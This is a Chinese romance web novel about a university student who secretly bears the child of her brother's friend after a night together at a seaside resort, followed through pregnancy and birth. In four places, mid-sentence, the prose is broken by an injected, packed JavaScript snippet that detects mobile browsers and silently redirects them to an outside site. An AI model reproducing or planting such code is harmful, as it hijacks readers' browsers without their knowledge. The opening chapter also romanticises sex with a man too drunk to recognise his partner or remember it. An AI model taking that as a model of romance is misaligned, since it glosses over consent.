《这个爹我当定了》 1. 哥哥的朋友 易书鸢像雨后的晴天，天空如洗，四野明媚，空气中弥漫着花草的清香，令人向往。 但大太阳一出来，整个世界都过于明亮，舒元总觉着自己的缺点在他面前无所遁形，是以喜欢了他很多年，从来没表白过。 易书鸢是哥哥的好友，身高一八八，半长的短发，五官硬朗英俊，气质却温柔。他还有一双特别明亮的眼睛，因为睫毛浓厚如画了眼线，总显得他瞳色偏浅，不笑时透着股神秘的忧郁气质。 哥哥的一群朋友来家里玩时，易书鸢总喜欢坐在沙发上看着其他人闹。大多数时候他都是含着笑意温柔地看着大家，偶尔随着其他人哈哈大笑时，一下便点亮整间屋。 他真好看，总是人群中最吸引人的那一个，让人望之欣喜，爱上他实在是件容易事。 高中时，舒元觉得自己进入大学后，会遇到一个像易书鸢一样的校友，然后开启一段顺理成章的恋情。 真的上了大学后她才发现，小时候爱上易书鸢不是她没见过世面，而是必然——在更宽广的世界里，她也不可能遇到第二个如易书鸢一样迷人的男性了。 舒元有时候真觉得挺绝望的，“一见杨过误终身”半点不浪漫，这是可怕的诅咒。她可不想一生都活在易书鸢的阴影中，看谁都不如她，无法投入恋爱，挺不幸的。 但大二暑假跟着哥哥和他的朋友们一起到新建成的海边度假村旅游时，舒元作为一个大孩子跟着哥哥们喝酒时，终于还是沦陷。 她就坐在易书鸢和哥哥中间，与哥哥们行酒令，她十把赢九把，几乎成了酒桌上无往不利的女大王。哥哥们宠爱地夸她厉害，不服气地不停挑战她，只有易书鸢含着笑默默望她手里递温牛奶，往她碗里夹鸡腿。 只是后来他也喝醉了，撑腮坐着呆呆愣愣地只是傻笑，不再像个二十多岁的青年才俊，反似个天真稚童。 他喝醉了，舒元终于可以不必那么费力地藏起自己的喜欢，看他时眼神更大胆些，与他迷迷蒙蒙的眼神对上，也不再害怕地躲开。 收场时哥哥们都醉得东倒西歪，舒元反成了照顾他们的人，配合着服务人员，一一将他们送回各自小木屋。 私心使然，舒元最后一个送易书鸢。 他还能走，只是脑子懵了，分不清东南西北，也有点不认人。 舒元带着易书鸢回到他的小木屋，没有立即离开，而是到卫生间打湿了手巾，想帮他擦擦脸，让他睡得舒服些。 坐在床沿上看他睡颜时，舒元的呼吸有些热，她也喝了酒，虽不至于醉，大脑却也比以往更热。帮他擦去脸上的汗时，指腹若有似无地拂过他皮肤。 他也烫烫的，比其他人更白些也更细腻的皮肤泛着红色，剔得干干净净的胡茬刺刺的，让舒元找回几分理性。 她被自己吓到，忙收回手时，易书鸢忽然翻身，手一下搭在了她腕上。 舒元抬眸，正对上他迷蒙的眼睛。 酒气熏得他双眼半眯，长睫颤动，眸子藏在阴影中，看不分明。 但他很专注地在看她，舒元的心跳失速，他手忽然收紧，将她的手腕攥住了。 易书鸢的另一只手忽然揽上她的腰，用力将她拉向床褥。他的指腹在搓抚她手腕上的皮肤，他另一边有力的五指紧紧压着她的腰。 舒元不知道自己是怎么被拽上床的，她眼睛一直看着他的眼睛，因为他的眼睛也一直看着她。 暗恋的男人的双眼像施了魅魔的法术，彻底将她迷醉。 他轻轻吻她的下颌线，吻她的鼻子，吻她的眉峰，再拉开距离时，他仍快速找到她的眼睛，专注地凝望。 舒元沉在他的专注里，手指受引诱般爬上他的腰，他的背。 他是什么时候将她压在身-下的？ 他什么时候夺走了她的初吻？ 在辗转而火热的唇-舌-厮磨间，舒元好像也醉了。她展开自己，热情地回应，双手好像比他更急切、更火热。 他们气息交织，忘却了东南西北，只有彼此。 原来他这么高大，这么重。他的喉-结在她掌心滚动，他的呼吸在她鬓边变得湿濡。 原来他的手掌这么大，可以包裹住她，可以轻松地摆布她，可以压着她做出各种姿势。 原来他的腰这么细，又这么有力。他大概在健身吧，温热的皮肤下是蕴着无穷动能的肌肉。 原来……往日里那个如雨后旷野般明媚清朗的青年也有如此迷离、混乱、火热、贪婪的一面。 成年人的世界真好呀，抵死纠缠的拥抱，银河倾覆般的快-感，烫过每一寸皮肤的唇舌，神魂俱散的冲撞和碾压。 舒元像躺在台风天的小船上，像漂在飓风吹过的银河，可她睁开眼，总看到那双熟悉又陌生的眼眸。 熟悉是因为她无数次在梦里描摹它们，陌生是因为它们此刻盛着的是她不熟悉的光彩。 舒元真喜欢他，这是她暗恋岁月中收到的最特别的礼物。 也为她那些在日记中用心描画的记忆，填了最浓墨重彩的一笔。 他终于倦了，舒元才悄悄收拾好他们这一场留下的痕迹，趁着夜色遁走，仿佛魔法失灵的辛德瑞拉，提着裙摆，跑下月华遍洒的木阶，回到她的现实生活。 夜色依旧，大海上漫起雾，渐渐将沙滩和度假木屋笼罩。 晨雾被熹微的日光撕裂时，易书鸢霍地睁开眼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134189|180294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他伸手捞向身边，床褥空荡荡。 又是梦吗？ 空气中弥散着令人面红耳赤的味道，他拉开被子看了看自己—— 一片湿泞。 他头向后仰，长长叹气，又在梦里搞得一塌糊涂。 翻身抱被，他用力踹了一脚空气，静默几许，又一声更长更无力的叹气。 …… 第二天舒元跟哥哥及他的兄弟们在海边木屋吃了顿早饭，又转战神雕山动物园。 路上易书鸢时不时偷瞄舒元，发现她与昨天没有什么差别，拿着舒逸给她买的冰淇淋，边吃边看动物，虽然走得有点慢，但神态如常。 果然又是梦。 易书鸢懊恼地撸了把半长的短发，默默转头看步道下方宽敞得不像话的狼群活动区。 在短发半遮了他眉眼时，舒元才悄悄回头偷瞄。 易书鸢今天跟她讲话时也没什么不一样，看样子昨天喝醉后的事他不记得了。心里的忐忑总算得到安抚，又有种浓浓的失落涌上来。 抿一口冰淇淋，舒元叹口气。在易书鸢抬头时迅速收回视线，慢腾腾跟着大部队前进时，她悄悄扶腰，做某事会腰酸背痛原来是真的，她现在连大胯都不像自己的了。 接下来的威海行按照原本的流程，刘公岛，野驴岛都玩了，海也赶了，为期一周的暑期旅游结束，舒元又跟着哥哥队伍们坐飞机回到上海。 舒逸完成任务，在跟兄弟们旅游时带上妹妹，“全须全尾”地将妹妹带回了家。 接下来，舒元又被哥哥带着跟他的兄弟们吃了两顿饭，唱了两次K，玩了一场益智剧本杀……这期间有时易书鸢在，有时他不在。 玩着玩着，暑假就这样结束了。 开学后的生活也没什么特别的，上课、下课、吃吃喝喝、写作业、做社会实践……这期间，舒元又拒绝了2位同学的表白。 开学快4个月，在哥哥带着易书鸢来她学校请她吃饭时，她难得地再次见到易书鸢。他头发更长了，在脑后扎个小揪揪，不像个将来要做医生的医大博士，更像个艺术家。 哥哥请她吃肉，说她胖了不少。 易书鸢也笑着打量她肉乎乎的脸，将带给她的礼物胸针放进她的帆布包。瞧着她蓬松柔顺的披肩发，他想伸手如舒逸那般揉一揉她的头，但终于还是知分寸地忍住了。 虽然算是看着她从高中时的黄毛丫头长成亭亭玉立的明媚美人，但他只是舒逸的朋友，到底并非舒元真正的哥哥，不合适有任何越界的小动作。 他们就这样和谐而克制地吃完一顿饭，又彬彬有礼地作别。 两天后，舒元发现自己不是胖了，而是怀孕了。 2. 怀孕，小事一桩 舒元在宿舍里躺了一宿，想了许多许多事。 她未来能遇到一个自己喜欢的男人步入婚姻吗？她想过怎样的人生？ 从懂事起，舒元就知道，自己绝不愿意做按部就班的生活。看着父母日复一日重复的人生，她是觉得害怕的。 麻木，庸碌，一眼看到头。 那是深植在她记忆中切实的恐怖，她不要那样的人生。 可是大二时怀孕生子？ 她也没想过要如此的离经叛道。 她要如何独自养育这个孩子？如何生存？如何继续完成学业？ 舒元有一个几千粉丝的短视频账号，某音、b站和小某书都经营得还行。她学得导演专业，讲故事的能力不错，算小有灵气。剪辑等水平不错，自己剪辑制作的几个黏土动画流量都不小。拍室友、朋友等，剪辑二创后做出来的内容也挺受欢迎，接过两次广告合作，赚了些小钱。 帮别的团队做剪辑，暑假给一个短剧当导演也赚了些，再加上父母给的生活费，手里有四万多存款。 承接一下大主播的外包剪辑、字幕、特效等工作，休假时再拿到一两个短剧导演项目，好好经营一下自己的短视频账号，大学在读期间应该也能养活自己和孩子。 只是，父母会同样吗…… 舒元从小独立，是父母口中省心懂事的孩子，这样一个人，在成年后也很善于独自做决定。 她一个人去妇幼院办卡，做体检，没耽误一节课。 直到寒假回家时，舒元才跟父母坦白自己怀孕了，要生下这个孩子。 父母果然不同意，暴怒中的父亲大吼着要她打掉已经六个多月的孩子。母亲绝食相逼，哭着说都是为了她好，但又口口声声以后怎么见人，要他们夫妻俩怎么在亲朋们面前抬得起头。 舒元默不作声，但倔强地承受了一切。 这个世界上并非每一对做父母的人都有爱人的能力，也有麻木自私的豺狼虎豹只为了不被人指指点点而组建家庭、生儿育女，年轻时尽情享乐，夸哄加侮辱齐上地培养孩子的独立能力，待孩子长大时才开始展现一家人的亲热，举着镰刀随时准备收割作为权力者的福利，享受孝道。 舒元的父母没有很恶，但也并不伟大。他们将舒元扫地出门，未留情面。 收拾行李离开家的这天晚上，舒逸开车送她到她自己在学校附近租的40平小屋。 坐在冷清清的房间里唯一的椅子上，舒逸垂着头，低声问她：“孩子的父亲是谁？” 舒元依旧倔强地不语。 十几分钟的静默后，舒逸知道自己也撬不开妹妹的嘴。他从小就知道，舒元是个刚强的孩子，主意正，有毅力，不好摆布，很多时候比他这个当哥哥的更冷静聪明。 舒元站起身准备收拾屋子时，舒逸压着她肩膀让她好好休息，他帮着把屋子打扫干净，东西归位。 妇幼院就在他学校附近，他叮嘱舒元后面去检查时可以提前给他打电话，他没课就来陪她。 “孩子虽然没有爸爸，没有外公外婆，但是还有个舅舅。” … 舒元父母不是说着玩玩的，他们那之后果然就没有再联系过舒元。 舒元也没有联系过爸妈，独自在租屋时她也有时会害怕，但想到自己需要努力赚钱养娃，有事做了，也就没空再去悲春伤秋。 除夕这天，她仍在给自己合作的大主播剪视频。她的速度最快，剪辑质量最好，大主播给她加了薪，舒元颇有动力。 除夕夜舒逸同父母说要跟朋友出去野，拐了易书鸢，买了一堆好吃的，便跑到舒元的租屋。 易书鸢得知舒元怀孕后便一直有些神不守舍，踏进40平的小房间时，他一直很沉默。目光时不时扫过舒元已经显怀的肚子，他的沉默愈甚。 三个人收拾好，穿戴厚实后出发去舒逸定的饭店吃年夜饭。 兄妹俩嘻嘻哈哈聊天，不时谈及舒元肚子里的孩子，易书鸢全程没有参与，他安静得都有些不像他了。 一向温文尔雅，静坐时也挂几分笑意的人，如今素着脸，竟连勉强的笑容也挤不出一个。 悄悄打量舒元，他什么话都问不出来。连舒逸都不知道舒元肚里孩子的父亲是谁，舒元又怎么可能回答他。 是那个畜—— 悄悄吐出一口气，他松了松一直攥得死紧的左手，只觉指腹冰冷。脑袋仍在疼，他表面上虽看不出什么，心里情绪却剧烈起伏着。 “预产期在什么时候？”易书鸢忽然开口，凝着舒元时的表情是前所未有的严肃。 “6月。”舒元停箸，犹豫了下还是将确切的日子略了过去。她尽量表现得坦然，不让易书鸢看出端倪。 “暑假了，那下学期的课 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134190|180294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你还上吗？”易书鸢又问。 “学校允许，就继续上。”舒元爽朗摊手，“怀孕而已，旧时代女人快生了都还在地里插秧呢，小小课业，轻松拿捏。” “你现在月份大了，自己一个人住在这里不行。”易书鸢表情愈发难看，他转头看了眼舒逸，想到舒父舒母的态度，有些烦躁地盯了会儿面前几乎没怎么动的碗筷，开口道：“我在你们学校附近有一套公寓，舒逸你从宿舍搬出去，跟舒元到我的公寓里住吧。陪她把孩子生下来。” “你什么时候在那边有公寓的？”舒逸诧异地抬头，他知道易书鸢家里有钱，倒不知道这么有钱，哪哪都有房子。 “这个月底你就搬过去吧。”易书鸢没有接舒逸的话，转头对舒元道。 舒元抿着唇，内心砰然。易书鸢就是这样，平时话没有很多，看似高傲，实际上是个很温柔的人，喜欢照顾人。他不知道孩子是他的，却仍愿意帮她这个朋友的妹妹。 “这样不太好。”舒元摇了摇头，她既然决定了独自剩下孩子，就不想生出依赖他人的心。 她没有经过他的同意就生下了这个意外获得的孩子，更不可能让他平白无故背负这样的责任。 “没什么不好的，房子空着也是空着，就这么说定了。”他难得地霸道。 年夜饭吃完，舒逸和易书鸢一起送舒元回租处，确定房间虽小，尚算得上温暖舒适，两个人才搭伴离开。 伴着月色，易书鸢仍在沉默。 “你干嘛？是我妹未婚先孕，又不是你亲妹，你这么上火干嘛。”舒逸捶了易书鸢手臂一拳，“舒元挺坚强的，她肯定能把自己的生活规划好。你摆那副死表情干啥，本来我们都努力装作轻松的样子，要开开心心迎接这个意外的孩子了，你别吓到舒元。都什么时代了，也不算大事。” “……”易书鸢转头横了眼舒逸，心里窝气。他想知道的事，舒逸都没办法给他解答。舒元什么时候谈了恋爱，什么时候怀了孕，那个不负责任的黄毛又跑去了哪里，舒逸一概不知道。 寒风瑟瑟，上海湿冷的冬夜吹得人骨缝里都是酸的。 易书鸢沉默地与舒逸道别，孤身穿过被梧桐遮住月光的昏暗小路。 在这个年纪的青年人心里，从没觉得有什么事儿，是错过一点点，就会错过一辈子的。 现在，他觉得或许是有的。 3. 他的房子 易书鸢将家里给他买在浦东的别墅卖了，在舒元学校附近买了栋公寓——房子装修好2年，房主本来是准备当婚房的，结果婚姻告吹，装好的房子一直空到了现在。 如今房市不好，房主装修都是用的好材料，家电也都买的好品牌，一直不舍得贱卖，总算好运碰上了易书鸢这个好买主。 舒元正怀着孕，老房子总有一堆问题，新房又怕有甲醛，这样未有人入住的二手自住房是最好的。 舒元搬进来的那天，舒逸请客大家去吃火锅。 舒逸从小就人缘很好，他跟兄弟出去玩总喜欢带着舒元，是以初中、高中、大学的好兄弟都认识舒元，把她当妹妹一样照顾。 如今她搬家，他在沪的朋友都过来帮忙，青年们一坐就是一包间，呼喝着聊天。因为舒元状况特殊，大家都没喝酒。 “你爹妈怎么这样？”另一位医学院的同学王栋有些气愤地抱怨一句，转头又跟舒元说：“没事儿，我女朋友的闺蜜在妇幼院上班，回头我给女朋友说一声，看看有什么需要准备的，让女朋友闺蜜跟你说一下。咱们这些哥哥们照顾你，你别怕。” “我们朋友里也有妇产科的同学，到时候让她跟你聊聊。”舒逸已经约好了之前班里选了妇产科、儿科的同学，回头都带到舒元面前，帮舒元解答疑难。 “我看易书鸢这公寓边上就有个月子中心，回头住进去挺方便的。”另一个从初中起就跟舒逸玩，现在已经做到游戏公司主管的哥哥刘磊抬头问舒元：“我住的离这边近，回头你们要是有需要，随时给我打电话。” 舒元搬进易书鸢的租处，哥哥们也没空手来，全都以“乔迁之喜”为由，给舒元包了大红包。 他们都怕舒元现在的状况会缺钱花，毕竟舒元还小，舒逸这个哥哥又是学医的，到现在都还没进社会，也未必有多少存款。 大家一顿饭吃得热热闹闹，没有人问舒元孩子的爸爸是谁，大家都很有眼力见地避开了这个可能会令舒元不愉快的话题。 易书鸢坐在舒元斜对面，全程没怎么参与大家的话题。 坐在他边上的王栋虽然没有跟易书鸢同班过，但大家跟舒逸一块儿玩，常聚也就熟了。见易书鸢闷闷不乐，忍不住问他：“你怎么了？有啥不开心的事吗？” 易书鸢抬头勉强笑笑，“快毕业了，为实习的事儿犯愁呢。” “我之前还想我们这帮人谁会最先结婚生子，结婚不论，最先生子的居然是舒元这丫头。主意真够正的，这是去父留子啊。”王栋忍不住有些感慨。 易书鸢越过圆桌看对面笑呵呵的小姑娘，她脸上都还挂着稚气呢，居然就要当妈妈了。怎么忍心呢，让她这么小小年纪承担这么多，那个幸运又可恨的人…… 他手握着筷子，面对满桌美食却全无胃口。 大家的热闹好像都与他无关，连舒元的笑容也变得遥远了。 饭后，舒元想散步消食，一大群青年便陪着她压马路往易书鸢的公寓走。 舒元走着走着便到了易书鸢身边，转头看有些悒悒不乐的青年，她小声说：“谢谢鸢哥的公寓，我会好好维护的。” “不用，房子就是给人住的，你别太辛苦。有什么活就让你哥干。”易书鸢转头迎上她亮晶晶的眼睛，想了想又追加：“跟你哥玩了这么多年，算是看着你长大的，能帮的肯定会帮。我们大家都是你哥哥，不用害怕。” “倒要感谢我哥这么会交朋友了。”舒元望着前前后后七八个青年，自己大概也是因为跟着哥哥和他的朋友们一起玩得多，从小就比身边的朋友更男性化。 初中那会儿她还学着哥哥们的坐姿，劈着腿，被妈妈狠狠教育过才学会并腿坐着。 她从小就是个令父母省心的孩子，实际上真的让人省心吗？只不过是哥哥舒逸代替爸妈，承担了照顾她的责任罢了。 小学时去报道，爸爸遇到熟人就去跟人聊天了，让她自己背着书包拿着钱找老师报道、交学费。后来哥哥知道了后，再有什么事就都跟着，父母不靠谱，哥哥就顶上去。 大概是舒逸早就吃够了父母不靠谱的亏，才学会了照顾妹妹吧。 “其实我是想自己更独立些的，没想到有这么多人可以依靠。”舒元不自觉地一边走路一边抚摸肚子，月色迷离，吃饱了身体暖，连凉风也侵不进来。她转头悄悄打量易书鸢出色的侧颜，有一种饭后由丈夫陪着散步的错觉。 小小的幸福滋味，够她品味许久了。 “你还小呢，不需要这么早独立。”易书鸢说。 “其实人在出生的那一刻就是独立的，想吃东西，就要靠哭闹来争得。想要父母照顾自己，就要表现出依赖和对父母的爱，以此换取悉心的养育。青春期有一定的自我意识和自保能力了，就要学会争夺话语权，把自己的人生渐渐掌握到自己手中。”舒元有些骄傲地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134191|180294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说：“我自己其实也攒了些钱，能买得起奶粉。我听说哥哥也在做家教等工作赚钱，你能不能帮我劝劝他，这是我自己的决定，我自己理应承担更多。他虽然是我的哥哥，但也不必给自己施压。” “你们兄妹都太倔了，我要借钱给舒逸，他是拒绝的。”易书鸢叹口气，转头看舒元即便怀孕了也没有胖太多的身形，声音不自觉便软：“人生还长着，你们现在需要帮助，完全可以泰然接受，以后说不准也有我需要帮助的地方呢。” “我不是接受了鸢哥的房子嘛。”舒元甜蜜地笑笑，仿佛对自己现在所处的困境并不以为意。 她是很爱孩子的父亲吗？ 为了剩下这个孩子，吃什么苦都不在乎？ 易书鸢又沉默了下来。 看着她美好的面庞，坚强的笑容，想着她小小年纪承担这一切却甘之如饴的乐观，而这一切都是为着别人……好像连看着她都会被刺痛了。 以前一群人聚在一起时，他常常能捕捉到小姑娘专注的眼神，那时他就想，等她再长大一点。 她上大学了，他本以为可以不用等了，但舒元总还是充满孩子气，易书鸢又想，再等一等，等她快毕业的时候吧，她现在也才不过离开高中生活没多久，才成年呢。 等她成熟些，自己也进入社会开始有稳定的生活，能好好地承载她的未来……到那时他们如果能在一起，两个人都更成熟稳定，好好相处、走进婚姻、走到老的几率更高……那就再等等吧。 舒元好像总是跟着舒逸与他们一群人吃饭、玩耍，打游戏还常常赢他们这些哥哥。有时她带着大学的室友跟他们一起玩，也没听说过有男生追求她，更不要提跟什么人谈恋爱。 易书鸢总觉得一切都不会变，他们会一直这样，直到他毕业，她长大。 送舒元回家后，大家各奔东西。 现在还没开心，舒逸仍然要回家住，在小区外，他问易书鸢去哪儿。 “我自己走走。”易书鸢送舒逸上车，转身走入昏暗的小巷。 舒逸坐在停在路边的小轿车上，望着好兄弟的背影越走越远，有些担心地颦眉。舒元这边就够他操心的了，怎么易书鸢好像也出状况了？ 高中那会儿有一段时间，易书鸢就有点抑郁倾向，他家里实在也不清净。 难道最近又出了什么状况？ 怎么好像比高中那会儿还更低沉了呢？ 4. 他的舍不下 舒元大概怀了个天使宝宝，她的孕期反应一直不严重，能吃能喝能走能跳。 大学食堂里的食物可以说是最优秀的孕期健康餐，时蔬新鲜，用料安全，各式菜品可供选择。即便是忽然不想吃食堂的时候，舒逸也会跟着小某书学着给她做饭，舒元一直很有胃口，没为饮食操过什么心。 很多事情都是想起来可怕，真正做起来，却能佛挡杀佛。 如今时代也不同了，校园里的声音和眼光并没有想象中那么难以忍受。每个人都有选择自己人生的权力，同学和老师们投来的先是诧异眼神，之后往往变成善意和鼓励。 之前的舍友也帮了她不少忙，关系最近的陈悦是个资料狂，帮舒元查了各种孕期相关、孕后知识，甚至还打印了各种注意事项、需购物品的表格，甚至连买哪些品牌的必需物品性价比更高都帮她安排好了。 孩子还没出生，舒元已经从表格中知道了自己养这个小东西，在不出现其他特殊状况的情况下，要花多少钱。 而令人感到欣慰的是，舒元囊中存款正巧够养着小东西到毕业。接下来她就继续按部就班地打零工、做外包，好好规划下毕业后的职业方向，和照顾小家伙的人力需求就好了。 又到了产检的日子，是生产前的最后一次常规检查了。 舒元本来是想自己去的，奈何哥哥不放心，他自己没办法来的时候，总会托朋友过来陪她。上次陪舒元的是王栋哥，这次来的是易书鸢。 “我小时候最想要的就是这样的哥哥。”舍友帮舒元整理好东西，送她下楼，“以前还不知道好的哥哥是什么样的，直到见到你哥，才知道，这就是好哥哥的样板啊。” “我俩小时候也没少吵架。”舒元想起小时候他们兄妹俩在家里各个场所互相撕扯捶打的画面，那时候还恨恨地想着要给舒逸下毒，现在想起来也只觉得好玩了。 到了楼下，陈悦将手里的大包递给易书鸢，便回宿舍午休了。下午他们还有课，舒元请了假，但陈悦他们还要好好上课，帮舒元整理笔记。 …… 易书鸢学的是口腔医学，现在已经进入了实习阶段，听说医学生实习常常一进医院就是几十个小时，他整个人都消瘦了许多，皮肤好像也更白了。 天气渐暖，他脱下了毛衣，只穿一件浅蓝色的长袖衬衫，开车时单手握着方向盘，姿态潇洒，又有种莫名的禁欲魅力。 舒元望着他的手，忽然想起他骨节分明的手指在她身上探索时的感觉，心里一紧，下面也有些酸疼。 她忙转开视线，望向窗外。 大概是怀孕激素变化，后面这几个月她简直化身大黄丫头，脑子里时不时便浮现些色色的东西。 医院里各种手续都由易书鸢帮忙，他跑前跑后的样子也是帅的。步子总是从容，走哪个方向去哪个地方都安排得明白，丝毫不见惊慌和无措。 在医院这样错综复杂的环境，舒元跑上跑下总觉得心烦，可瞧着易书鸢淡然温和的表情，她就觉得心安了。 当跑完了所有手续，两个人在检验室外排队时，易书鸢拿着她提前准备的保温杯去给她倒温水。 饮水机前，他微微弯腰时，后背肌肉撑开衬衫所有褶皱，倒三角的身材愈发凸显，令人心动。 坐在舒元前面的姐姐忍不住转头对她说：“你老公真有型，你也漂亮，宝宝肯定好看。” 舒元抿着唇，笑眯眯地接受了姐姐的话，手搭在肚子上，沉甸甸的重量像是丰收时盛满果实的篮子，是无比甜蜜幸福的负担。 易书鸢走回来，坐在舒元另一边后才将水杯递给她，接过她挎着的小包，抽了张纸巾给她擦汗。 舒元喝一口温水，动作忽然顿住。 “怎么了？烫吗？”易书鸢关注到她每一个细节反应，当即便要伸手帮她把保温杯盖子拧开，放放凉。 “不是。”舒元一把抓住他手，二话不说便按在肚子上。 温热的、圆鼓鼓的触感贴合在掌心，易书鸢疑惑抬眸，才要发问便忽地瞠目，眼神转向她撑起长裙的肚子。 刚才那感觉是什么？有什么隔着肚皮和一层纯棉布撞了下他掌心，心里一股奇异的感觉涌上来，他微微启唇，一直温柔从容的神态被惊异撕裂。 下一瞬，掌心又被撞了下，他无法自抑地低低“啊”了声，抬头对上舒元的笑容，唇角也不自禁勾起。 “舒元。”检验室门打开。 舒元忙撑着椅子站起身，走进检验室，留下易书鸢一个人怔怔望着她的背影，和她走进去后砰一声关紧的门。 长吐一口气，易书鸢低头看向自己扔炸开的五指，方才那触感还在，神秘的、属于新生力量的回应。 惊喜在他独自坐在走廊塑料椅上时，渐渐转为酸涩。他收回手，在后颈上摸了把，有些烦躁地起身，想到这附近没有他能透口气，走远了又怕舒元找他时他不在，只得再次焦躁地坐回塑料椅。 他想，他或许真的不适合再出现在舒元面前了。 她的喜悦、她的变化、她肚里孩子的出生，对他来说可能都是刺痛。 转头看向走廊尽头，有一脸迷茫、焦惶的人拿着几张单子左顾右盼，匆匆而过。 易书鸢又撸了把自己有些长了的刘海，他上次见舒元之后就做过这样的决定，下次再有与舒元见面的事，一定找理由避开。 偏偏昨天舒逸才开口，他就毫不犹豫地答应了。 手臂撑在膝上，他心里不知道第几次地痛悔。 他想，他再次地想：如果舒元怀的是他的孩子该多好。如果他不要那么磨蹭，非要等到她毕业…… … 10月怀胎很漫长，但一眨眼也就过去了。 舒元比预产期提前2天发作，舒逸为了在她预产期那天能有假，专门排了几个连班实习。 撑着肚子，舒元不敢轻忽，放弃了自己打车去医院的想法，她第一时间给舒逸打电话。 十几分钟后，她的门便被敲响，舒元撑着肚子去开门，却见门外站着的是易书鸢。 “要用到的东西都准备好了吗？”易书鸢头上还冒着汗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16134192|180294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，显得比舒元还急。 “准备好了。”她提前几天就把生产、住院要用到的东西准备好了。 易书鸢走过去提起书包背在背上，转头看着艰难行走的舒元，走过去靠近展臂，低声说了句“别怕”，便将她打横抱起。 踢上房门，他抱着舒元健步如飞。 靠在易书鸢怀里，舒元悄悄抬头，用视线描摹他的下颌线，心中紧张又期待。 她和宝宝就要见面了，神奇的是，宝宝最先见到的男性亲人，可能不是舒逸舅舅，而是爸爸易书鸢。 揣着这个秘密，舒元的恐惧情绪好像都少了许多。 躺在助产床上时，她默默地想：希望宝宝生出来时不要太潦草，给爸爸留下个好印象吧。 一次一次地用力，一次一次地疼时，舒元脑内开始胡乱走马灯。 她想起与易书鸢独一次的快乐，那换来了此时的痛。她想起父亲母亲的决绝相逼，想起自己倔强而愤怒地回答，和离开时没有回头的冷漠。想起这几个月里的辛苦与甜蜜，期待与害怕。 想起为了宝宝而禁食的垃圾食品，垃圾食品啊，炸鸡配冰可乐，抹茶冰淇淋，爆辣九宫格，生冷海鲜与刺身…… 还有游泳和潜水，熬夜看片和通宵打本。 再等等，孩子生出来了，月子做好，奶上三个月她就可以慢慢恢复自己的生活节奏。 请阿姨加育儿所，还有哥哥及朋友们的帮助，她一定能顺利走过大学仅剩的几年，到时候宝宝能上幼儿园了，她也可以恢复工作。 等她二十五六岁时，宝宝已经能给她当旅游搭子，她将成为上海街头又一名辣妈。 如果条件允许，她再养一条大狗，再养一只小猫。如果条件还允许，就多养一条大狗，在多养一只小猫…… 孩子生出来时，舒元对未来的期待已经越来越具象，她总算靠着这些美好的事，熬过了疼痛与恐惧。 医生护士做好消毒包扎，将孩子抱到舒元面前时，她累得已经快睁不开眼睛了。放松下来陷入昏沉的睡眠前，她长舒一口气：还好，宝宝不算很丑，眼睛还很大的样子，头毛茂盛，像她。 产房外，易书鸢全程靠墙站着，婴儿被抱出，要被送去处理脐带胎盘、清洁五官，称体重、洗澡、量身高，采血检查、打疫苗等。 易书鸢立即站直身体，心里别扭着不想去看那个孩子，就好像他的一切计划都是那孩子打断的一样。 但他终于还是走过去探头看了一眼，在护士夸赞婴儿时，他僵硬地嗯一声，又转向产房。 舒元被送入病房时，状态堪称狼狈，一点也不美。 易书鸢坐在她身边，看着她疲惫以极、沉睡的脸。在医生们忙忙碌碌离开后，他迟疑着伸出手，探进被子，握住了她冰冷的手，轻轻搓揉，感受着她的指尖慢慢恢复温暖。 直到舒逸急匆匆赶过来，他才悄无生息抽回手插回裤兜。 跟舒逸转述舒元和宝宝的情况时，他插在裤兜里的手指轻轻搓点，仿佛手指们在交互分享与舒元相握时的滋味。 5. 舒青小朋友，你好 人真是激素的奴隶，因其喜因其悲，甚至可以因为激素而变得勇敢无比，无畏疼痛。 排恶露、开奶都是需要大勇气的事，好在舒逸和易书鸢虽然帮着忙前忙后，但全程避险，没让舒元难堪。因为担心她自己一个人应付不来，舍友陈悦还把自己亲娘请来了，母女俩一起陪着舒元度过了最无助的几个第一次。 